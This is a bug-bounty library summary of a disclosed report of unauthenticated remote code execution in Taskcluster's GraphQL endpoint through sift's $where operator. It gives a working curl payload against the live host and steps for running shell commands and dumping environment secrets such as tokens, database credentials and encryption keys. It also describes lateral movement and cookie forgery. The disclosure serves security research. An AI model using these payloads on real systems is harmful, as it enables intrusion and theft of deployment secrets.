# Unauthenticated RCE in Taskcluster web-server via GraphQL filter argument (sift $where)

Unauthenticated GraphQL `filter` argument passed into sift's `$where` compiled via `new Function`, giving arbitrary JS/RCE in Taskcluster web-server and leaking all deployment secrets.

- Payout: $12,000
- Severity: critical
- Program: Mozilla
- Found by: griffinf
- Disclosed: 2026-08-05
- Write-up quality: 9/10
- Original: https://hackerone.com/reports/3782701
- Library page: https://bugbountylibrary.com/r/h1%3A3782701
- Tags: area:web domain:api impact:internal-access impact:rce kind:bounty platform:hackerone sev:critical tech:graphql tech:nodejs technique:source-review vuln:rce

**Target:** Taskcluster web-server GraphQL endpoint (/graphql)
**Root cause:** The `filter` GraphQL JSON scalar is passed unvalidated into `sift(filter)`; sift 17.1.3 compiles a `$where` string with `new Function("obj","return "+params)` when CSP_ENABLED is unset, executing attacker JS in the Node process.
**Steps:**
1. Send unauthenticated POST to `/graphql` with `{"query":"query($f:JSON){expandScopes(scopes:[\"assume:anonymous\"],filter:$f)}","variables":{"f":{"$where":"(function(){throw new Error(\"RCE_\"+(6*7)+\"_\"+(typeof process))})()"}}}`
2. Observe error message `RCE_42_object` returned via formatError, confirming server-side JS execution
3. Replace payload with `process.getBuiltinModule("child_process").execSync("id").toString()` thrown in Error to read command output
4. Dump `process.env` the same way to recover DB URLs, TASKCLUSTER_ACCESS_TOKEN, OAuth secrets, DB_CRYPTO_KEYS, PULSE_PASSWORD
**How found:** Code review of the sift wrapper and sift's `$where` implementation revealed `new Function` on a string; noted CSP_ENABLED unset on deployment, then traced an anonymous-reachable resolver (expandScopes) whose loader runs sift on echoed input, and used the forwarded error message as an output channel.
**Exploitation:** Single anonymous POST to the public GraphQL endpoint; the `$where` string is compiled and invoked per array element during `expandScopes` filtering. Throwing an Error carrying command output leaks results back through the GraphQL error message. Recovered env secrets (Postgres creds, deployment access token, OAuth client secrets, DB encryption keys, Pulse creds) enable full instance compromise and lateral movement across the internal Kubernetes service network.
**Escalation:** Env-var disclosure chained to cluster-wide compromise: DB write access + replayed TASKCLUSTER_ACCESS_TOKEN against the secrets API, plus internal service reachability for lateral movement; also SESSION_SECRET=FIXME allows offline cookie forgery.
**Insight:** When a GraphQL `JSON` scalar feeds a query/filter library, grep the dependency for `new Function`/`eval` and check whether guard env vars (like CSP_ENABLED) are actually set in prod; pick a resolver that echoes attacker input so the filtered array is guaranteed non-empty, and use thrown Error messages as a blind RCE exfil channel.

## Proof of concept (copied exactly from the original report)

**curl PoC computing marker via $where**

```
curl -s https://firefox-ci-tc.services.mozilla.com/graphql \
  -H 'Content-Type: application/json' \
  --data '{"query":"query($f:JSON){expandScopes(scopes:[\"assume:anonymous\"],filter:$f)}","variables":{"f":{"$where":"(function(){throw new Error(\"RCE_\"+(6*7)+\"_\"+(typeof process))})()"}}}'

Response:

"errors":[{"message":"RCE_42_object", ... }]
```

